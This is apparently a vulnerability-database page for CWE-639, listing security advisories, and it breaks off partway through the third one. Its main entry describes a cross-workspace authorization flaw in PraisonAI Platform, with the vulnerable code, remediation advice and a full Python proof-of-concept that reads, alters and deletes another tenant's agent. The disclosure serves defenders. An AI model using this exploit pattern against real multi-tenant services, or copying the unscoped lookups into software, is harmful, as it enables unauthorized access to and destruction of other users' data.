Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3233 vulnerabilities reference this CWE, most recent first.

GHSA-6H6V-6M7W-7VXX

Vulnerability from github – Published: 2026-05-29 22:35 – Updated: 2026-05-29 22:35
VLAI
Summary
PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID
Details

Summary

PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.

The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the workspace_id provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.

As a result, a valid member of workspace_attacker can call a route under:

/api/v1/workspaces/{workspace_attacker}/...

while supplying an object UUID from workspace_victim. The server authorizes the request based on membership in workspace_attacker, then fetches or mutates the victim object by global UUID.

This breaks the platform's workspace isolation boundary.

Details

The root cause is that workspace membership authorization and object ownership validation are not bound together.

The workspace dependency validates only that the caller is a member of the workspace named in the URL:

# praisonai_platform/api/deps.py
async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)

This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.

For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw agent_id:

# praisonai_platform/api/routes/agents.py
@router.get("/{agent_id}", response_model=AgentResponse)
async def get_agent(workspace_id: str, agent_id: str, ...):
    agent = await svc.get(agent_id)
    return AgentResponse.model_validate(agent)

The service method resolves the agent by global UUID only:

# praisonai_platform/services/agent_service.py
async def get(self, agent_id: str) -> Optional[Agent]:
    return await self._session.get(Agent, agent_id)

The same pattern is used for update and delete operations:

# praisonai_platform/api/routes/agents.py
agent = await svc.update(agent_id, ...)

deleted = await svc.delete(agent_id)
# praisonai_platform/services/agent_service.py
agent = await self.get(agent_id)
...
await self._session.delete(agent)

There is no check equivalent to:

agent.workspace_id == workspace_id

Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.

The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:

# praisonai_platform/api/routes/projects.py
project = await svc.get(project_id)
project = await svc.update(project_id, ...)
deleted = await svc.delete(project_id)
# praisonai_platform/services/project_service.py
return await self._session.get(Project, project_id)
# praisonai_platform/api/routes/issues.py
issue = await svc.get(issue_id)
issue = await svc.update(issue_id, ...)
deleted = await svc.delete(issue_id)
comments = await svc.list_for_issue(issue_id)
# praisonai_platform/services/issue_service.py
return await self._session.get(Issue, issue_id)
# praisonai_platform/services/comment_service.py
select(Comment).where(Comment.issue_id == issue_id)

This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.

PoC

The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.

The PoC demonstrates the following chain:

  1. An attacker account creates workspace_attacker.
  2. A victim account creates workspace_victim.
  3. The victim creates an agent in workspace_victim.
  4. The attacker sends:
GET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}
  1. The server returns the victim agent from workspace_victim.
  2. The attacker updates the victim agent through the attacker workspace path.
  3. The victim observes the attacker-controlled modification.
  4. The attacker deletes the victim agent through the attacker workspace path.

Run with:

PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py

Full PoC:

#!/usr/bin/env python3
from __future__ import annotations

import asyncio
import os
import sys
import types
import uuid
from pathlib import Path

from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine


REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"


def verify_source() -> None:
    expected = {
        PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
            'min_role: str = "member"',
            "member_svc.has_role(workspace_id, user.id, min_role)",
        ],
        PLATFORM_ROOT / "praisonai_platform/api/routes/agents.py": [
            '@router.get("/{agent_id}", response_model=AgentResponse)',
            "agent = await svc.get(agent_id)",
            '@router.patch("/{agent_id}", response_model=AgentResponse)',
            "agent = await svc.update(",
            '@router.delete("/{agent_id}", status_code=status.HTTP_204_NO_CONTENT)',
            "deleted = await svc.delete(agent_id)",
        ],
        PLATFORM_ROOT / "praisonai_platform/services/agent_service.py": [
            "return await self._session.get(Agent, agent_id)",
            "agent = await self.get(agent_id)",
            "await self._session.delete(agent)",
        ],
    }

    for path, needles in expected.items():
        if not path.exists():
            raise RuntimeError(f"source verification failed: file not found: {path}")

        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


async def main() -> int:
    verify_source()

    sys.path.insert(0, str(PLATFORM_ROOT))
    sys.path.insert(0, str(AGENTS_ROOT))

    if "passlib" not in sys.modules:
        passlib_pkg = types.ModuleType("passlib")
        passlib_pkg.__path__ = []
        sys.modules["passlib"] = passlib_pkg

    if "passlib.context" not in sys.modules:
        passlib_context = types.ModuleType("passlib.context")

        class _CryptContext:
            def __init__(self, *args, **kwargs):
                pass

            def hash(self, password: str) -> str:
                return f"stub::{password}"

            def verify(self, password: str, hashed: str) -> bool:
                return hashed == f"stub::{password}"

        passlib_context.CryptContext = _CryptContext
        sys.modules["passlib.context"] = passlib_context

    os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db.base import Base, reset_engine
    from praisonai_platform.db import base as base_mod

    await reset_engine()

    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )

    base_mod._engine = engine
    base_mod._session_factory = None

    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()

    suffix = uuid.uuid4().hex[:8]
    password = "Password123!"

    transport = ASGITransport(app=app)

    async with AsyncClient(transport=transport, base_url="http://test") as client:
        attacker = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"attacker_{suffix}@example.com",
                "password": password,
                "name": f"attacker_{suffix}",
            },
        )

        victim = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"victim_{suffix}@example.com",
                "password": password,
                "name": f"victim_{suffix}",
            },
        )

        attacker_json = attacker.json()
        victim_json = victim.json()

        attacker_headers = {"Authorization": f"Bearer {attacker_json['token']}"}
        victim_headers = {"Authorization": f"Bearer {victim_json['token']}"}

        attacker_ws = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"attacker-ws-{suffix}",
                "slug": f"attacker-ws-{suffix}",
                "description": "attacker workspace",
            },
            headers=attacker_headers,
        )

        victim_ws = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"victim-ws-{suffix}",
                "slug": f"victim-ws-{suffix}",
                "description": "victim workspace",
            },
            headers=victim_headers,
        )

        attacker_workspace_id = attacker_ws.json()["id"]
        victim_workspace_id = victim_ws.json()["id"]

        victim_agent = await client.post(
            f"/api/v1/workspaces/{victim_workspace_id}/agents/",
            json={
                "name": "victim-agent",
                "runtime_mode": "local",
                "instructions": "secret instructions",
            },
            headers=victim_headers,
        )

        victim_agent_id = victim_agent.json()["id"]

        attacker_read = await client.get(
            f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
            headers=attacker_headers,
        )

        attacker_update = await client.patch(
            f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
            json={"instructions": "pwned-by-attacker"},
            headers=attacker_headers,
        )

        victim_read_after_update = await client.get(
            f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
            headers=victim_headers,
        )

        attacker_delete = await client.delete(
            f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
            headers=attacker_headers,
        )

        victim_read_after_delete = await client.get(
            f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
            headers=victim_headers,
        )

        print(f"[poc] attacker_workspace={attacker_workspace_id}")
        print(f"[poc] victim_workspace={victim_workspace_id}")
        print(f"[poc] victim_agent_id={victim_agent_id}")
        print(
            "[poc] attacker_read_status="
            f"{attacker_read.status_code} "
            f"workspace_id={attacker_read.json().get('workspace_id')} "
            f"instructions={attacker_read.json().get('instructions')}"
        )
        print(
            "[poc] attacker_update_status="
            f"{attacker_update.status_code} "
            f"instructions={attacker_update.json().get('instructions')}"
        )
        print(
            "[poc] victim_read_after_update_status="
            f"{victim_read_after_update.status_code} "
            f"instructions={victim_read_after_update.json().get('instructions')}"
        )
        print(f"[poc] attacker_delete_status={attacker_delete.status_code}")
        print(f"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}")

        if attacker_read.status_code != 200:
            raise SystemExit("[poc] MISS: attacker could not read victim agent")

        if attacker_read.json().get("workspace_id") != victim_workspace_id:
            raise SystemExit("[poc] MISS: read response was not the victim workspace agent")

        if attacker_update.status_code != 200 or attacker_update.json().get("instructions") != "pwned-by-attacker":
            raise SystemExit("[poc] MISS: attacker could not update victim agent")

        if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get("instructions") != "pwned-by-attacker":
            raise SystemExit("[poc] MISS: victim did not observe attacker-controlled update")

        if attacker_delete.status_code != 204:
            raise SystemExit("[poc] MISS: attacker could not delete victim agent")

        if victim_read_after_delete.status_code != 404:
            raise SystemExit("[poc] MISS: victim agent still existed after attacker delete")

        print("[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent")

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    return 0


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Observed result:

[poc] attacker_workspace=3f7c...
[poc] victim_workspace=be1d...
[poc] victim_agent_id=7f04...
[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions
[poc] attacker_update_status=200 instructions=pwned-by-attacker
[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker
[poc] attacker_delete_status=204
[poc] victim_read_after_delete_status=404
[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent

This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.

Impact

Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:

  • read other workspaces' agents;
  • read agent instructions and metadata;
  • modify victim agents;
  • delete victim agents;
  • potentially read, modify, or delete projects and issues that follow the same object lookup pattern;
  • enumerate comments for issues by raw issue_id;
  • corrupt activity data, project state, and issue state across workspace boundaries.

This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.

The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.

Suggested remediation

Recommended fixes:

  1. Require every object fetch, update, and delete method to take both workspace_id and object_id.

  2. Enforce object ownership in the service layer. For example:

agent = await self._session.get(Agent, agent_id)
if not agent or agent.workspace_id != workspace_id:
    return None
  1. Avoid service methods that resolve workspace-owned objects by global UUID alone.

  2. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.

  3. For comment and dependency helpers that pivot from raw issue_id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.

  4. Add regression tests for negative cross-workspace access cases, including:

workspace A member cannot read workspace B object
workspace A member cannot update workspace B object
workspace A member cannot delete workspace B object
workspace A member cannot list comments for workspace B issue
  1. Return 404 Not Found or 403 Forbidden consistently when an object does not belong to the authorized workspace.

Security boundary

This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:35:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPraisonAI Platform\u0027s workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object\u0027s global UUID.\n\nThe affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.\n\nAs a result, a valid member of `workspace_attacker` can call a route under:\n\n```text\n/api/v1/workspaces/{workspace_attacker}/...\n```\n\nwhile supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID.\n\nThis breaks the platform\u0027s workspace isolation boundary.\n\n### Details\n\nThe root cause is that workspace membership authorization and object ownership validation are not bound together.\n\nThe workspace dependency validates only that the caller is a member of the workspace named in the URL:\n\n```python\n# praisonai_platform/api/deps.py\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    member_svc = MemberService(session)\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nThis confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.\n\nFor example, the agent routes are scoped under a workspace path, but object access is performed using only the raw `agent_id`:\n\n```python\n# praisonai_platform/api/routes/agents.py\n@router.get(\"/{agent_id}\", response_model=AgentResponse)\nasync def get_agent(workspace_id: str, agent_id: str, ...):\n    agent = await svc.get(agent_id)\n    return AgentResponse.model_validate(agent)\n```\n\nThe service method resolves the agent by global UUID only:\n\n```python\n# praisonai_platform/services/agent_service.py\nasync def get(self, agent_id: str) -\u003e Optional[Agent]:\n    return await self._session.get(Agent, agent_id)\n```\n\nThe same pattern is used for update and delete operations:\n\n```python\n# praisonai_platform/api/routes/agents.py\nagent = await svc.update(agent_id, ...)\n\ndeleted = await svc.delete(agent_id)\n```\n\n```python\n# praisonai_platform/services/agent_service.py\nagent = await self.get(agent_id)\n...\nawait self._session.delete(agent)\n```\n\nThere is no check equivalent to:\n\n```python\nagent.workspace_id == workspace_id\n```\n\nTherefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.\n\nThe same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:\n\n```python\n# praisonai_platform/api/routes/projects.py\nproject = await svc.get(project_id)\nproject = await svc.update(project_id, ...)\ndeleted = await svc.delete(project_id)\n```\n\n```python\n# praisonai_platform/services/project_service.py\nreturn await self._session.get(Project, project_id)\n```\n\n```python\n# praisonai_platform/api/routes/issues.py\nissue = await svc.get(issue_id)\nissue = await svc.update(issue_id, ...)\ndeleted = await svc.delete(issue_id)\ncomments = await svc.list_for_issue(issue_id)\n```\n\n```python\n# praisonai_platform/services/issue_service.py\nreturn await self._session.get(Issue, issue_id)\n```\n\n```python\n# praisonai_platform/services/comment_service.py\nselect(Comment).where(Comment.issue_id == issue_id)\n```\n\nThis indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.\n\n### PoC\n\nThe following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.\n\nThe PoC demonstrates the following chain:\n\n1. An attacker account creates `workspace_attacker`.\n2. A victim account creates `workspace_victim`.\n3. The victim creates an agent in `workspace_victim`.\n4. The attacker sends:\n\n```text\nGET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}\n```\n\n5. The server returns the victim agent from `workspace_victim`.\n6. The attacker updates the victim agent through the attacker workspace path.\n7. The victim observes the attacker-controlled modification.\n8. The attacker deletes the victim agent through the attacker workspace path.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/agents.py\": [\n            \u0027@router.get(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.get(agent_id)\",\n            \u0027@router.patch(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.update(\",\n            \u0027@router.delete(\"/{agent_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \"deleted = await svc.delete(agent_id)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/agent_service.py\": [\n            \"return await self._session.get(Agent, agent_id)\",\n            \"agent = await self.get(agent_id)\",\n            \"await self._session.delete(agent)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        attacker = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"attacker_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"attacker_{suffix}\",\n            },\n        )\n\n        victim = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"victim_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"victim_{suffix}\",\n            },\n        )\n\n        attacker_json = attacker.json()\n        victim_json = victim.json()\n\n        attacker_headers = {\"Authorization\": f\"Bearer {attacker_json[\u0027token\u0027]}\"}\n        victim_headers = {\"Authorization\": f\"Bearer {victim_json[\u0027token\u0027]}\"}\n\n        attacker_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"attacker-ws-{suffix}\",\n                \"slug\": f\"attacker-ws-{suffix}\",\n                \"description\": \"attacker workspace\",\n            },\n            headers=attacker_headers,\n        )\n\n        victim_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"victim-ws-{suffix}\",\n                \"slug\": f\"victim-ws-{suffix}\",\n                \"description\": \"victim workspace\",\n            },\n            headers=victim_headers,\n        )\n\n        attacker_workspace_id = attacker_ws.json()[\"id\"]\n        victim_workspace_id = victim_ws.json()[\"id\"]\n\n        victim_agent = await client.post(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/\",\n            json={\n                \"name\": \"victim-agent\",\n                \"runtime_mode\": \"local\",\n                \"instructions\": \"secret instructions\",\n            },\n            headers=victim_headers,\n        )\n\n        victim_agent_id = victim_agent.json()[\"id\"]\n\n        attacker_read = await client.get(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        attacker_update = await client.patch(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            json={\"instructions\": \"pwned-by-attacker\"},\n            headers=attacker_headers,\n        )\n\n        victim_read_after_update = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        attacker_delete = await client.delete(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        victim_read_after_delete = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        print(f\"[poc] attacker_workspace={attacker_workspace_id}\")\n        print(f\"[poc] victim_workspace={victim_workspace_id}\")\n        print(f\"[poc] victim_agent_id={victim_agent_id}\")\n        print(\n            \"[poc] attacker_read_status=\"\n            f\"{attacker_read.status_code} \"\n            f\"workspace_id={attacker_read.json().get(\u0027workspace_id\u0027)} \"\n            f\"instructions={attacker_read.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] attacker_update_status=\"\n            f\"{attacker_update.status_code} \"\n            f\"instructions={attacker_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] victim_read_after_update_status=\"\n            f\"{victim_read_after_update.status_code} \"\n            f\"instructions={victim_read_after_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(f\"[poc] attacker_delete_status={attacker_delete.status_code}\")\n        print(f\"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}\")\n\n        if attacker_read.status_code != 200:\n            raise SystemExit(\"[poc] MISS: attacker could not read victim agent\")\n\n        if attacker_read.json().get(\"workspace_id\") != victim_workspace_id:\n            raise SystemExit(\"[poc] MISS: read response was not the victim workspace agent\")\n\n        if attacker_update.status_code != 200 or attacker_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: attacker could not update victim agent\")\n\n        if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: victim did not observe attacker-controlled update\")\n\n        if attacker_delete.status_code != 204:\n            raise SystemExit(\"[poc] MISS: attacker could not delete victim agent\")\n\n        if victim_read_after_delete.status_code != 404:\n            raise SystemExit(\"[poc] MISS: victim agent still existed after attacker delete\")\n\n        print(\"[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\nObserved result:\n\n```text\n[poc] attacker_workspace=3f7c...\n[poc] victim_workspace=be1d...\n[poc] victim_agent_id=7f04...\n[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions\n[poc] attacker_update_status=200 instructions=pwned-by-attacker\n[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker\n[poc] attacker_delete_status=204\n[poc] victim_read_after_delete_status=404\n[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\n```\n\nThis confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object\u0027s UUID through the attacker\u0027s own workspace-scoped route.\n\n### Impact\n\nAny authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:\n\n- read other workspaces\u0027 agents;\n- read agent instructions and metadata;\n- modify victim agents;\n- delete victim agents;\n- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;\n- enumerate comments for issues by raw `issue_id`;\n- corrupt activity data, project state, and issue state across workspace boundaries.\n\nThis breaks the platform\u0027s tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.\n\nThe demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Require every object fetch, update, and delete method to take both `workspace_id` and `object_id`.\n\n2. Enforce object ownership in the service layer. For example:\n\n```python\nagent = await self._session.get(Agent, agent_id)\nif not agent or agent.workspace_id != workspace_id:\n    return None\n```\n\n3. Avoid service methods that resolve workspace-owned objects by global UUID alone.\n\n4. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.\n\n5. For comment and dependency helpers that pivot from raw `issue_id`, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.\n\n6. Add regression tests for negative cross-workspace access cases, including:\n\n```text\nworkspace A member cannot read workspace B object\nworkspace A member cannot update workspace B object\nworkspace A member cannot delete workspace B object\nworkspace A member cannot list comments for workspace B issue\n```\n\n7. Return `404 Not Found` or `403 Forbidden` consistently when an object does not belong to the authorized workspace.\n\n### Security boundary\n\nThis report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.",
  "id": "GHSA-6h6v-6m7w-7vxx",
  "modified": "2026-05-29T22:35:13Z",
  "published": "2026-05-29T22:35:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID"
}

GHSA-6H7W-VJM9-6785

Vulnerability from github – Published: 2025-12-16 18:31 – Updated: 2025-12-16 21:30
VLAI
Details

InvoicePlane commit debb446c is vulnerable to Incorrect Access Control. The invoices/view handler fails to verify ownership before returning invoice data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-64012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T16:15:59Z",
    "severity": "MODERATE"
  },
  "details": "InvoicePlane commit debb446c is vulnerable to Incorrect Access Control. The invoices/view handler fails to verify ownership before returning invoice data.",
  "id": "GHSA-6h7w-vjm9-6785",
  "modified": "2025-12-16T21:30:54Z",
  "published": "2025-12-16T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InvoicePlane/InvoicePlane/commit/debb446ceaa84efc136987fc1e21b268f34e47b0"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tarekramm/797073e9ae991211ff2ae71ed1190c7d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6HVM-8V29-CGP8

Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2024-10-16 15:32
VLAI
Details

Insecure handling of ssh keys used to bootstrap clients allows local attackers to potentially gain access to the keys

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-32189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T14:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Insecure handling of ssh keys used to bootstrap clients allows local attackers to potentially gain access to the keys",
  "id": "GHSA-6hvm-8v29-cgp8",
  "modified": "2024-10-16T15:32:07Z",
  "published": "2024-10-16T15:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32189"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-32189"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
